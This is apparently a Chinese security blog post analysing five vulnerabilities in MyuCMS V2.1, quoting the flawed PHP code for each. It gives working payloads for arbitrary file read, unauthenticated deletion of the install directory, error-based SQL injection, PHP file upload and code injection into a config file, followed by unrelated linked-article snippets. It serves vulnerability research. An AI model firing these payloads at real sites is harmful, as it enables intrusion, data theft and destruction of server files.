MyuCMS_V2.1漏洞分析
前言
在CNVD看到一个MyuCMS的一个任意文件删除漏洞。然后去搜了下这个CMS,发现官网公告显示在V2.2.3版本修复了CNVD提供的多处漏洞。
怀着好奇的心里,去CNVD搜了下这个CMS,结果发现V2.1版本存在多处高危漏洞。既然这样,就来分析下这些漏洞产生的原因和利用方式。
过程分析
MyuCMS_V2.1 基于 Thinkphp 5.0.24 开发。下载链接可以在官方社区找到。
前台任意文件下载
既然是文件下载,先在整个项目中搜索下 download 关键字,尝试看看能不能直接定位到关键代码。
通过搜索定位到 bbs 模块下的 Index 控制器的 download 方法。
download 方法接受三个参数,这三个参数我们是完全可控的,单从 download 这个方法来看,无任何参数内容限制,直接将 $url 和 $name 两个参数传递给了 Http 类的 download 方法来执行下载。
若 Http->download() 方法中还未对参数内容进行限制,便会造成任意文件下载漏洞。
接下来,我们跟进 Http->download() 方法。
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) { //判断 $filename 是否为文件
$length = filesize($filename); // 获取 $filename 的文件大小
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!')); // 若文件不存在抛出异常
}
if(empty($showname)) {
$showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
}
$showname = basename($showname); //获取路径中的文件名部分
if(!empty($filename)) {
$type = mime_content_type($filename); //获取文件的MIME类型
}else{
$type = "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename); // 读取文件内容并输出,从而实现下载
}else {
echo($content);
}
exit();
}
由如上代码我们可以看出,Http->download() 方法中同样未对传入的参数进行内容限制,只实现了下载的业务逻辑。
此处任意文件下载,结合 phar 反序列化,还可以造成任意文件删除和任意文件写入(仅linux下)。这两条反序列化利用链在先知和安全客上都已经有大佬分析的很好了,有兴趣的师傅直接看下面链接就行。
MyuCMS<=v2.2.1反序列化
ThinkPHP v5.0.x 反序列化利用链挖掘
Payload
所以,由此可以得出任意文件下载的payload。
Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1
任意目录删除漏洞
在CNVD上看到的是任意文件删除。但我发现的是一个任意目录删除,并不能只删除单独一个文件。可能此处所说的任意文件删除就是MyuCMS<=v2.2.1反序列化此处分析的利用反序列化链来进行任意文件删除吧。
因为漏洞描述是任意文件删除,所以先全文搜索 unlink 函数,定位到存在文件删除功能的代码段。
定位到 application/common.php 中的 deleteun 函数
function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) { // 判断是否为目录
if ($handle = opendir($dir_name)) { // 打开目录
while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item); // 删除遍历到的文件
}
}
}
closedir($handle); // 关闭文件夹
if (rmdir($dir_name)) { // 删除该目录
$result = true;
}
}
} return $result;
}
根据 deleteun 函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。
然后在整个项目中搜索,看哪个文件中调用了 deleteun 函数。
发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的 deleteun 函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。
这三处的不同之处在于。Muban.php 继承了 Common 类,在 Common 类中实现了对于是否已经登录的验证。实现代码如下。
public function _initialize(){
if(!session('usermail') || !session('kouling')){
$this->error('请登录',url('login/index'));
print s();
} }
而 Addons.php 继承自 AdminBase 类,且初始化时执行父类 AdminBase 的 _initialize() 方法,在 AdminBase 类中调用了父类 Controller 的 _initialize() 方法。而父类的 Controller 的 _initialize(); 方法的实现内容为空。
所以 Addons.php 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。
Payload
所以给出 Payload 如下,即可删除整个 install 目录
Payload: http://xxxxxxxxx/admin/Addons/un?info=../install
SQL注入漏洞
在 CNVD 上的描述为,MyuCMS us***_xi***.html页面存在SQL注入漏洞
通过对整个项目文件的搜索,最终确定为 user_xiaoxi.html 文件。
该视图文件,对应的控制器为 application/bbs/controller/User.php 。显示消息为 User->xiaoxi() 方法。该方法中无用户可控参数。所以注入不可能在此方法中。
如图所示功能处可将未读消息更改为已读消息。同时我们抓包观察。未读消息为其他用户在登录用户发布的文章下留言所产生。
可以发现,该功能对应的路由地址,以及所提交的参数。我们找到路由地址对应的方法为 User->xiaoxidel() 代码如下
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) { // 进行登录判断
$this->error('亲!请登录',url('bbs/login/index'));
} else {
if ($ids==0) { // 根据 ids 参数来判断执行的动作为标记消息还是删除消息
$id = input('id'); // 通过input助手函数获取需要操作的消息对应的 id
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此处第一个 where() 使用字符串条件时没有配合预处理机制,所以会直接将 id=$id 拼接到SQL语句中。从而造成了SQL语句可控,形成注入。此处可以进行DEBUG,看到最好的SQL语句是如何拼接的。
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}
上述代码中,where() 方法使用字符串条件,但并没有执行预编译。其实针对字符串条件,官方手册是做了说明的,显然这里没有遵守官方手册的意见,所以造成了SQL注入。
Payload
Payload如下
Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1
在下图所示位置打上断点,即可查执行的SQL语句
文件上传漏洞
CNVD 上对应的标题为 myucms fo***.php页面存在文件上传漏洞
搜索项目中fo开头的文件,定位到 application/admin/controller/Forum.php 中的 doUploadPic 方法
public function doUploadPic()
{
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
if($info){
$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
echo str_replace("\\","/",$path);
}
}
可以看到上述代码调用了 Thinkphp 内置的 move 方法来对上传的文件进行处理。但是在调用 move 方法前未调用 validate() 方法来设置验证规则。以至于此处形成了任意文件上传漏洞。
Payload
根据 doUploadPic() 方法构建 Payload数据包 如下:
POST /admin/forum/doUploadPic HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206
-----------------------------18467633426500
Content-Disposition: form-data; name="FileName"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
-----------------------------18467633426500--
命令执行
CNVD上没有说明存在的页面。我找到的是一处能控制 extre/web.php 内容的漏洞。
漏洞成因是使用 file_put_contents 函数更新 extre 下配置文件的内容时,未对参数内容做验证,而直接通过循环遍历,拼接到了php后缀的配置文件中。
相同原理漏洞影响3个文件共5处。分别为 application/admin/controller/Config.php, application/admin/controller/Muban.php ,application/admin/controller/Point.php
此处以 application/admin/controller/Config.php 下的 add() 方法为例分析
public function add()
{
$path = 'application/extra/web.php';
$file = include $path; // $file 的内容为 web.php 中返回的配置数组的值
$config = array( // 读取 post 中提交的配置内容
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config); // 合并两个数组
$str = '<?php return [';
foreach ($res as $key => $value) { // 循环数组,生成新的配置内容
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) { // 将配置内容写入 web.php 文件
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
Payload
Payload数据包如下:
POST /admin/config/add.html HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 327
Origin: http://www.myu.io
Connection: close
Referer: http://www.myu.io/admin/config/index.html
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE
WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88
写入的内容和效果如下:
结束
限于水平有限,有些 CNVD 上有记录到的洞没分析到,望海涵。
MyuCMS_V2.1漏洞分析的更多相关文章
- Zabbix 漏洞分析
之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- CVE-2016-0143 漏洞分析(2016.4)
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- CVE-2014-4115漏洞分析(2014.11)
CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- Oracle漏洞分析(tns_auth_sesskey)
p216 Oracle漏洞分析: 开启oracle: C:\oracle\product\\db_1\BIN\sqlplus.exe /nolog conn sys/mima1234 as sysdb ...
随机推荐
- Spring中如何使用工厂模式实现程序解耦?
目录 1. 啥是耦合.解耦? 2. jdbc程序进行解耦 3.传统dao.service.controller的程序耦合性 4.使用工厂模式实现解耦 5.工厂模式改进 6.结语 @ 1. 啥是耦合.解 ...
- 种树-洛谷P1250(差分约束)
传送门 令前缀和为s[i],则⼀一个要求等价于 s[r] - s[l - 1] >= x. 题中还有别的要求,包括 s[i] - s[i - 1] <= 1 和 s[i] - s[i- 1 ...
- Gitee 码云 pages 搭建vue项目记录
首先要在.gitignore文件去掉/dist,这个文件默认是不上传的,但是执行打包bulid的时候会生成dist文件,而线上访问的是打包之后的dist文件: vue.config.js文件,如下图箭 ...
- opencv python:直线检测 与 圆检测
霍夫直线变换介绍 霍夫圆检测 现实中: example import cv2 as cv import numpy as np # 关于霍夫变换的相关知识可以看看这个博客:https://blog.c ...
- Spring的核心api和两种实例化方式
一.spring的核心api Spring有如下的核心api BeanFactory :这是一个工厂,用于生成任意bean.采取延迟加载,第一次getBean时才会初始化Bean Applicatio ...
- tp5 配置 // 视图输出字符串内容替换 'view_replace_str' 的原理
- 黑帽JS跳转
一.常规的JS页面跳转代码 .在原来的窗体中直接跳转用 <script type=”text/javascript”> window.location.href=”http://www.g ...
- 动态规划: 最大m子段和问题的详细解题思路(JAVA实现)
这道最大m子段问题我是在课本<计算机算法分析与设计>上看到,课本也给出了相应的算法,也有解这题的算法的逻辑.但是,看完之后,我知道这样做可以解出正确答案,但是我如何能想到要这样做呢? 课本 ...
- MockMVC - 基于RESTful风格的Springboot,SpringMVC的测试
MockMVC - 基于RESTful风格的SpringMVC的测试 对于前后端分离的项目而言,无法直接从前端静态代码中测试接口的正确性,因此可以通过MockMVC来模拟HTTP请求.基于RESTfu ...
- CSS - px、em、%
px(像素).em.% 百分比 1. em 1.1 本元素给定字体的 font-size 值,如果元素的 font-size 为 14px ,那么 1em = 14px:如果 font-size 为 ...